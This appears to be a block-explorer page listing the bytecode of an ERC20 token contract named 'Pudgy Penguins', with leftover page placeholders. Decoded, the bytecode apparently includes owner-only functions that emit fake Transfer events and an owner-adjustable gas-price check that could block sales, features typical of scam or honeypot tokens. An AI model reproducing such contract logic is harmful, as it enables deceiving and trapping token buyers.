5180910390a3505050565b600754600160a01b900460ff16151560011461102d5760405162461bcd60e51b815260206004820152601a60248201527f436f6e74726163743a206e6f7420696e697469616c697a656421000000000000604482015260640161067e565b600754600160a01b900460ff16151560011480156110555750600754600160a81b900460ff16155b156110cd575f546001600160a01b038481169116148061108157505f546001600160a01b038381169116145b6110cd5760405162461bcd60e51b815260206004820181905260248201527f436f6e74726163743a2074726164696e67206973206e6f742073746172746564604482015260640161067e565b60085481906001600160a01b0316158015906110f657505f546001600160a01b03858116911614155b801561110f57505f546001600160a01b03848116911614155b1561122b576008545f906001600160a01b039081169086160361114f57507f00000000000000000000000000000000000000000000000000000000000000005b6008546001600160a01b0390811690851603611193577f00000000000000000000000000000000000000000000000000000000000000009050611193600a5461128b565b6001600160a01b0385165f908152600b602052604090205460ff161515600114806111da57506001600160a01b0384165f908152600b602052604090205460ff1615156001145b156111e257505f5b8015611229575f6127106111f683866117ef565b6112009190611806565b905061120c8185611825565b6009549093506112279087906001600160a01b031683611297565b505b505b611236848483611297565b50505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b803a1115610ea9575f80fd5b6001600160a01b0383166112fb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161067e565b6001600160a01b03821661135d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161067e565b6001600160a01b0383165f90815260016020526040902054818110156113d45760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161067e565b6001600160a01b038085165f9081526001602052604080822085850390559185168152908120805484929061140a908490611793565b90915550506007546001600160a01b039081169085160361145c576006546040518381526001600160a01b038581169216905f80516020611839833981519152906020015b60405180910390a3611236565b6007546001600160a01b03908116908416036114a1576006546040518381526001600160a01b03918216918616905f805160206118398339815191529060200161144f565b826001600160a01b0316846001600160a01b03165f805160206118398339815191528460405161144f91815260200190565b5f602080835283518060208501525f5b818110156114ff578581018301518582016040015282016114e3565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114611535575f80fd5b919050565b5f806040838503121561154b575f80fd5b6115548361151f565b946020939093013593505050565b5f805f60608486031215611574575f80fd5b61157d8461151f565b925061158b6020850161151f565b9150604084013590509250925092565b5f8083601f8401126115ab575f80fd5b50813567ffffffffffffffff8111156115c2575f80fd5b6020830191508360208260051b85010111156115dc575f80fd5b9250929050565b5f805f805f606086880312156115f7575f80fd5b6116008661151f565b9450602086013567ffffffffffffffff8082111561161c575f80fd5b61162889838a0161159b565b90965094506040880135915080821115611640575f80fd5b5061164d8882890161159b565b969995985093965092949392505050565b5f805f60408486031215611670575f80fd5b833567ffffffffffffffff811115611686575f80fd5b6116928682870161159b565b909790965060209590950135949350505050565b5f80604083850312156116b7575f80fd5b6116c08361151f565b9150602083013580151581146116d4575f80fd5b809150509250929050565b5f602082840312156116ef575f80fd5b6116f88261151f565b9392505050565b5f6020828403121561170f575f80fd5b5035919050565b5f8060408385031215611727575f80fd5b6117308361151f565b915061173e6020840161151f565b90509250929050565b600181811c9082168061175b57607f821691505b60208210810361177957634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b808201808211156105ec576105ec61177f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b80820281158282048414176105ec576105ec61177f565b5f8261182057634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156105ec576105ec61177f56feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220417ebe7a0c97e120f7abfbf16119eb995bb207722b5ddcf88aa6f2b0d33e020e64736f6c6343000818003350756467792050656e6775696e73202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020327a4d4d68635651455844746445367673465337533744356f556f64664a484538766431676e426f75617576ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
Deployed Bytecode
0x608060405234801561000f575f80fd5b5060043610610213575f3560e01c8063721082971161011f578063b22c95e7116100a9578063d632135b11610079578063d632135b146104c8578063dd62ed3e146104db578063f01a4b9914610513578063f2fde38b14610526578063f887ea4014610539575f80fd5b8063b22c95e714610473578063bf861b3114610486578063c9567bf914610499578063d5abeb01146104a1575f80fd5b806396784f75116100ef57806396784f7514610427578063985bdfd114610355578063a457c2d71461043a578063a8aa1b311461044d578063a9059cbb14610460575f80fd5b806372108297146103da578063825e7b83146103ed5780638da5cb5b1461040f57806395d89b411461041f575f80fd5b806339509351116101a05780634ca64b3a116101705780634ca64b3a146103715780634e148e19146103845780635d8228131461039757806370a08231146103aa578063715018a6146103d2575f80fd5b806339509351146103065780634022b75e14610319578063470624021461032e5780634c255c9714610355575f80fd5b806323b872dd116101e657806323b872dd1461027e57806325fa0b981461029157806327c8f835146102a55780632b14ca56146102d0578063313ce567146102f7575f80fd5b806306fdde0314610217578063095ea7b314610235578063158ef93e1461025857806318160ddd1461026c575b5f80fd5b61021f61054c565b60405161022c91906114d3565b60405180910390f35b61024861024336600461153a565b6105dc565b604051901515815260200161022c565b60075461024890600160a01b900460ff1681565b6003545b60405190815260200161022c565b61024861028c366004611562565b6105f2565b60075461024890600160a81b900460ff1681565b6009546102b8906001600160a01b031681565b6040516001600160a01b03909116815260200161022c565b6102707f000000000000000000000000000000000000000000000000000000000000000081565b6040516012815260200161022c565b61024861031436600461153a565b61069f565b61032c6103273660046115e3565b6106da565b005b6102707f000000000000000000000000000000000000000000000000000000000000000081565b61035e61271081565b60405161ffff909116815260200161022c565b61032c61037f36600461165e565b610795565b61032c6103923660046116a6565b6107e0565b61032c6103a53660046115e3565b610833565b6102706103b83660046116df565b6001600160a01b03165f9081526001602052604090205490565b61032c6108e6565b61032c6103e83660046115e3565b61091a565b6102486103fb3660046116df565b600b6020525f908152604090205460ff1681565b5f546001600160a01b03166102b8565b61021f6109cd565b61032c6104353660046115e3565b6109dc565b61024861044836600461153a565b610a8f565b6008546102b8906001600160a01b031681565b61024861046e36600461153a565b610b27565b61032c6104813660046115e3565b610b33565b61032c6104943660046116ff565b610be6565b61032c610c14565b6102707f00000000000000000000000000000000000000011f372a621c0f72bf15e0000081565b61032c6104d63660046115e3565b610cac565b6102706104e9366004611716565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b61032c6105213660046115e3565b610d5f565b61032c6105343660046116df565b610e12565b600c546102b8906001600160a01b031681565b60606004805461055b90611747565b80601f016020809104026020016040519081016040528092919081815260200182805461058790611747565b80156105d25780601f106105a9576101008083540402835291602001916105d2565b820191905f5260205f20905b8154815290600101906020018083116105b557829003601f168201915b5050505050905090565b5f6105e8338484610eac565b5060015b92915050565b5f6105fe848484610fcf565b6001600160a01b0384165f908152600260209081526040808320338452909152902054828110156106875760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6106948533858403610eac565b506001949350505050565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916105e89185906106d5908690611793565b610eac565b5f546001600160a01b031633146107035760405162461bcd60e51b815260040161067e906117a6565b5f5b8381101561078d5784848281811061071f5761071f6117db565b905060200201602081019061073491906116df565b6001600160a01b0316866001600160a01b03165f80516020611839833981519152858585818110610767576107676117db565b9050602002013560405161077d91815260200190565b60405180910390a3600101610705565b505050505050565b335f5b838110156107d9576107d1828686848181106107b6576107b66117db565b90506020020160208101906107cb91906116df565b85610fcf565b600101610798565b5050505050565b5f546001600160a01b031633146108095760405162461bcd60e51b815260040161067e906117a6565b6001600160a01b03919091165f908152600b60205260409020805460ff1916911515919091179055565b5f546001600160a01b0316331461085c5760405162461bcd60e51b815260040161067e906117a6565b5f5b8381101561078d57848482818110610878576108786117db565b905060200201602081019061088d91906116df565b6001600160a01b0316866001600160a01b03165f805160206118398339815191528585858181106108c0576108c06117db565b905060200201356040516108d691815260200190565b60405180910390a360010161085e565b5f546001600160a01b0316331461090f5760405162461bcd60e51b815260040161067e906117a6565b6109185f61123c565b565b5f546001600160a01b031633146109435760405162461bcd60e51b815260040161067e906117a6565b5f5b8381101561078d5784848281811061095f5761095f6117db565b905060200201602081019061097491906116df565b6001600160a01b0316866001600160a01b03165f805160206118398339815191528585858181106109a7576109a76117db565b905060200201356040516109bd91815260200190565b60405180910390a3600101610945565b60606005805461055b90611747565b5f546001600160a01b03163314610a055760405162461bcd60e51b815260040161067e906117a6565b5f5b8381101561078d57848482818110610a2157610a216117db565b9050602002016020810190610a3691906116df565b6001600160a01b0316866001600160a01b03165f80516020611839833981519152858585818110610a6957610a696117db565b90506020020135604051610a7f91815260200190565b60405180910390a3600101610a07565b335f9081526002602090815260408083206001600160a01b038616845290915281205482811015610b105760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161067e565b610b1d3385858403610eac565b5060019392505050565b5f6105e8338484610fcf565b5f546001600160a01b03163314610b5c5760405162461bcd60e51b815260040161067e906117a6565b5f5b8381101561078d57848482818110610b7857610b786117db565b9050602002016020810190610b8d91906116df565b6001600160a01b0316866001600160a01b03165f80516020611839833981519152858585818110610bc057610bc06117db565b90506020020135604051610bd691815260200190565b60405180910390a3600101610b5e565b5f546001600160a01b03163314610c0f5760405162461bcd60e51b815260040161067e906117a6565b600a55565b5f546001600160a01b03163314610c3d5760405162461bcd60e51b815260040161067e906117a6565b600754600160a81b900460ff1615610c975760405162461bcd60e51b815260206004820152601c60248201527f436f6e74726163743a2054726164696e67206973206f70656e65642100000000604482015260640161067e565b6007805460ff60a81b1916600160a81b179055565b5f546001600160a01b03163314610cd55760405162461bcd60e51b815260040161067e906117a6565b5f5b8381101561078d57848482818110610cf157610cf16117db565b9050602002016020810190610d0691906116df565b6001600160a01b0316866001600160a01b03165f80516020611839833981519152858585818110610d3957610d396117db565b90506020020135604051610d4f91815260200190565b60405180910390a3600101610cd7565b5f546001600160a01b03163314610d885760405162461bcd60e51b815260040161067e906117a6565b5f5b8381101561078d57848482818110610da457610da46117db565b9050602002016020810190610db991906116df565b6001600160a01b0316866001600160a01b03165f80516020611839833981519152858585818110610dec57610dec6117db565b90506020020135604051610e0291815260200190565b60405180910390a3600101610d8a565b5f546001600160a01b03163314610e3b5760405162461bcd60e51b815260040161067e906117a6565b6001600160a01b038116610ea05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161067e565b610ea98161123c565b50565b6001600160a01b038316610f0e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161067e565b6001600160a01b038216610f6f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161067e565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600754600160a01b900460ff16151560011461102d5760405162461bcd60e51b815260206004820152601a60248201527f436f6e74726163743a206e6f7420696e697469616c697a656421000000000000604482015260640161067e565b600754600160a01b900460ff16151560011480156110555750600754600160a81b900460ff16155b156110cd575f546001600160a01b038481169116148061108157505f546001600160a01b038381169116145b6110cd5760405162461bcd60e51b815260206004820181905260248201527f436f6e74726163743a2074726164696e67206973206e6f742073746172746564604482015260640161067e565b60085481906001600160a01b0316158015906110f657505f546001600160a01b03858116911614155b801561110f57505f546001600160a01b03848116911614155b1561122b576008545f906001600160a01b039081169086160361114f57507f00000000000000000000000000000000000000000000000000000000000000005b6008546001600160a01b0390811690851603611193577f00000000000000000000000000000000000000000000000000000000000000009050611193600a5461128b565b6001600160a01b0385165f908152600b602052604090205460ff161515600114806111da57506001600160a01b0384165f908152600b602052604090205460ff1615156001145b156111e257505f5b8015611229575f6127106111f683866117ef565b6112009190611806565b905061120c8185611825565b6009549093506112279087906001600160a01b031683611297565b505b505b611236848483611297565b50505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b803a1115610ea9575f80fd5b6001600160a01b0383166112fb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161067e565b6001600160a01b03821661135d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161067e565b6001600160a01b0383165f90815260016020526040902054818110156113d45760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161067e565b6001600160a01b038085165f9081526001602052604080822085850390559185168152908120805484929061140a908490611793565b90915550506007546001600160a01b039081169085160361145c576006546040518381526001600160a01b038581169216905f80516020611839833981519152906020015b60405180910390a3611236565b6007546001600160a01b03908116908416036114a1576006546040518381526001600160a01b03918216918616905f805160206118398339815191529060200161144f565b826001600160a01b0316846001600160a01b03165f805160206118398339815191528460405161144f91815260200190565b5f602080835283518060208501525f5b818110156114ff578581018301518582016040015282016114e3565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114611535575f80fd5b919050565b5f806040838503121561154b575f80fd5b6115548361151f565b946020939093013593505050565b5f805f60608486031215611574575f80fd5b61157d8461151f565b925061158b6020850161151f565b9150604084013590509250925092565b5f8083601f8401126115ab575f80fd5b50813567ffffffffffffffff8111156115c2575f80fd5b6020830191508360208260051b85010111156115dc575f80fd5b9250929050565b5f805f805f606086880312156115f7575f80fd5b6116008661151f565b9450602086013567ffffffffffffffff8082111561161c575f80fd5b61162889838a0161159b565b90965094506040880135915080821115611640575f80fd5b5061164d8882890161159b565b969995985093965092949392505050565b5f805f60408486031215611670575f80fd5b833567ffffffffffffffff811115611686575f80fd5b6116928682870161159b565b909790965060209590950135949350505050565b5f80604083850312156116b7575f80fd5b6116c08361151f565b9150602083013580151581146116d4575f80fd5b809150509250929050565b5f602082840312156116ef575f80fd5b6116f88261151f565b9392505050565b5f6020828403121561170f575f80fd5b5035919050565b5f8060408385031215611727575f80fd5b6117308361151f565b915061173e6020840161151f565b90509250929050565b600181811c9082168061175b57607f821691505b60208210810361177957634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b808201808211156105ec576105ec61177f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b80820281158282048414176105ec576105ec61177f565b5f8261182057634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156105ec576105ec61177f56feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220417ebe7a0c97e120f7abfbf16119eb995bb207722b5ddcf88aa6f2b0d33e020e64736f6c63430008180033
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 34 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.